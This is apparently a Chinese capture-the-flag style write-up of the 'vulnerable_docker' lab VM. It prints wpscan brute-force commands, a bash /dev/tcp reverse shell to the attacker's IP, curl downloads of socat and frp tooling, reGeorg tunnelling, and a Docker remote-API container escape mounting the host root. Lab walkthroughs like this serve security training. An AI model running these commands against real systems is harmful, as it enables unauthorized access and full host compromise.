vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

admin 2025年6月12日22:36:26评论10 views字数 4294阅读14分18秒阅读模式

简介

今天开了一台新的靶机,docker逃逸,还是第一次见到,然后后面也会发hard难度,这是easy难度,先来看看啥情况吧

一、信息收集

1、主机发现

arp-scan -lvulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权今天开了一台新的靶机,docker逃逸,还是第一次见到,然后后面也会发hard难度,这是easy难度,先来看看啥情况吧

2、端口扫描

nmap -sS -sV 192.168.66.146 nmap -p- -Pn -sC -sV -n 192.168.66.146 whatweb -v 192.168.66.146

22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
2375/tcp open  docker  Docker 17.06.0-ce
8000/tcp open  http    Apache httpd 2.4.10 ((Debian))

ok,这里三个端口,常规来说先看看8000的apache服务吧,然后扫一下目录,看看有无什么提示

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权一个wp的网站

3、目录扫描,指纹识别

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权扫出来很多目录,我们访问收集一下信息

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里指纹一下,wp的4.8.25版本,多少带点漏洞,先接着信息收集

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权ok啊ok,这里发现了一个文档,我们看看什么情况

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权估计要爆了,先试试弱口令吧,这里一个bob用户,不知道能不能用到vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

4、wpscan爆破

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里有个账户是bob,然后扫一下密码

wpscan --url http://192.168.66.146:8000/ -P /usr/share/wordlists/rockyou.txt -U bob -t 20

这里一个flag1找到了vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权flag1:2aa11783d05b6a329ffc4d2a1ce037f46162253e55d53764a6a7e998

5、getshell

这里我上传文件都失败了不知道为什么,但是这我们可以使用404.php来弹shell,这样连路径都不用知道vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里随机访问错误vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权然后开个监听就可以了,这样我们就有了shell,然后修复一下 发现这里没有python也没有wget,所以这里我是看别人的方法做的

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权进去查看了一下ip,这个ip应该是内网ip,我们想办法进入到内网

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里我们无法传输文件,想传输个socat的文件的,可惜这里不行,我们只能换个方法了 8000端口其实是一台docker容器,我们用蚁剑去弹个shell吧vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权ok了ok了,这里是我忘记进入tmp目录下了,导致文件没权限下载文件 这里就是先开一个python -m http.server 80服务,然后curl -O http://192.168.66.129:80/socat下载socat再赋权chmod +x socat,我们kali开一个监听nc -vlp 9999,然后使用socat去反连shell

这里获取稳定shell只需要输入bash -i即可,这个也是新学到的,然后上面的方法也可以

从shell提示符可以知道,目前得到的shell是在container里。

6、内网信息收集

1、内网ip探活、信息收集

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权我们这里要用到一个Linpeas脚本来进行内网的探测,他是Linux 系统特权提升和信息收集的自动化脚本工具

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权我们把这个脚本传输到跳板机中 ./linpeas.sh执行一下就能进行信息收集了vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权扫描的服务器版本 Linux version 3.13.0-128-generic

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里看着像扫描出来的漏洞vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里是可以探测到内网的ip的,ping -c 1 172.18.0.1-4命令测一下,发现都可以ping的通。vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里有数据库账户密码wordpress/WordPressISBest 或者我们使用脚本进行存活ip探测vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

2、内网端口探活

这里收集到了信息vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里看到了172.18.0.3开放了8022端口 curl -s 172.18.0.4:8022vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里网上查的,但是探测出来是个ssh的,不太懂这个服务是干嘛的

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里由于是内网环境,需要进一步的渗透的话,需要使用跳板。那么这里做跳板有三种思路,一种是加路由,建立隧道,端口映射。

3、建立隧道,使用代理(这里新版frp内网穿透自行摸索)

这里使用arp,首先对frpc.toml进行修改

然后是对frps.toml进行修改 然后把将frpc和frpc.toml上传至目标机

curl -O http://192.168.66.129:8080/frp_0.62.1_linux_amd64/frpc curl -# -O http://192.168.66.129:8080/frp_0.62.1_linux_amd64/frpc.toml

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权上传我们的frp工具vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里遇到了一个非常困难的问题,就是frp工具版本的更新,配置文件的更换,ini文件换成了toml文件,这需要我们自己查询资料去配置,尤其是第一次使用这个工具一定会卡很久vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里我们配置的是toml配置文件,尝试一下能否使用,因为网上没有相关的使用参照了,靶机也很老,所以我们只能自己摸索

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里我们在kali上使用frp报错,查找一下原因。 这里因为一些原因我们只能先使用旧版的frp了,因为第一次用这个工具,导致新版和旧版的配置文件遇到了问题。

1、旧版frp内网穿透

ok,我们配置完这两个文件,尝试启动一下吧先vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

启动成功了,真的是配置文件问题,新版确实不会配置,等我私下研究一下vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权ok啊ok,我们又一次传这个文件了。

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权ok了这里,我们用了重启大法,如果无法打通frp就试试重启,可能是端口或者服务被占用了 gedit /etc/proxychains4.conf 然后我们修改配置文件vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权ok了 通过代理使用nmap扫描 proxychains nmap -sT -sV -Pn -n -p8022 172.18.0.3vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里开放了一个网站Node.js,我们使用火狐代理去访问

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权访问到了

3、docker环境反弹shell

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里是一个docker环境,可以执行命令,可以反弹个shell到kali上 nc -vlp 9988 bash -i >& /dev/tcp/192.168.66.129/9988 0>&1vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权这里拿到了shell

7、代理访问提权(方法一)

这里run目录下有docker拉取的文件,有相关漏洞,remote API未授权访问vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权根据这个漏洞的相关介绍,我们来尝试一下

这里有个问题,就是靶机没有docker,可能是作者删除了,我们需要自己下载并且换源 这里大概是环境出问题了,其他师傅的靶机里面有vim工具之类的,包括mysql的仓库签名过期了,这里是个死局,无法解决.所以这里第一种方法我就直接给思路了 apt update apt install docker-ce 这样可以拉docker环境

docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash

然后我们就能找到flag_3了

关键点
由于docker环境没有vim,所以我们只能使用echo方式传入我们要的镜像源,这一点如果没做过会非常卡顿的,会踩坑很久
echo 'deb http://mirrors.aliyun.com/ubuntu/ trusty main [restricted](https://cn-sec.com/archives/tag/restricted) universe multiverse  ' > /etc/apt/sources.list

vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权很吓人啊,这个作者,表白起来了还vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

这台靶机非常恶心,断断续续打了3天,真的学到了不少,但是非常痛苦,推荐推荐推荐!!!

8、reGeorg代理之路(方法二)

这里就不复现了,直接给代码
curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php 
curl -# -O http://192.168.27.195:8080/tunnel.php 
##复制到当前目录下  cp /tmp/tunnel.php .

访问:http://192.168.27.131:8000/tunnel.php

回显:Georg says, 'All seems fine' ---正常python reGeorgSocksProxy.py -u http://192.168.27.131:8000/tunnel.php 执行完就会开启一个socks5的代理,默认开启127.0.0.1:8888

利用之前枚举出的信息中的数据库账号密码进行代理验证

proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.4vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权验证成功

这个容器docker.sock允许与 docker 通信,意味着创建、添加、删除容器,因此有一个技巧可以通过上传docker和运行命令docker run -it -v /:/host/ <container_name> chroot /host/ bash二进制文件将主机系统挂载到 docker 容器上,而不是我们有 docker 端口,我们可以访问这些容器,这样我们就可以远程做这个

如果开启了2375端口:

docker -H tcp://192.168.253.182:2375 run --rm -it -v /:/host wordpress chroot /host bash

至此攻击结束

8、msf大法(方法三)

这里就不一一介绍了,后续会出利用ssh密钥提权的方法,今天先休息了

9总结:

这台靶机本质可以理解内网穿透的联系,这个应该是重点,个人理解的话,是这个靶机的特色,所以还是要多学习,包括还有ssh密钥的方法,后续再说吧,今天出门运动去了,Neo-reGeorg其实这个工具和frp差不多,我私下再去学吧,如果有想了解到小伙伴可以留言,想看的话可以出一期

各种方法都挂在下面了,我是利用的一个api接口漏洞,感兴趣的可以自己找一找 参考文章:https://www.freebuf.com/vuls/347867.html https://www.cnblogs.com/jason-huawen/p/16859959.html https://mp.weixin.qq.com/s?__biz=MzkzNjg3NzIwOQ==&mid=2247486466&idx=1&sn=23597160b15e8dea0f134b43cb380690 https://cn-sec.com/archives/892445.html

原文始发于微信公众号(泷羽Sec-朝阳):vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月12日22:36:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnerable_docker(easy)Frp、reGeorg内网穿透、docker逃逸、wpscan爆破,提权https://cn-sec.com/archives/4159295.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息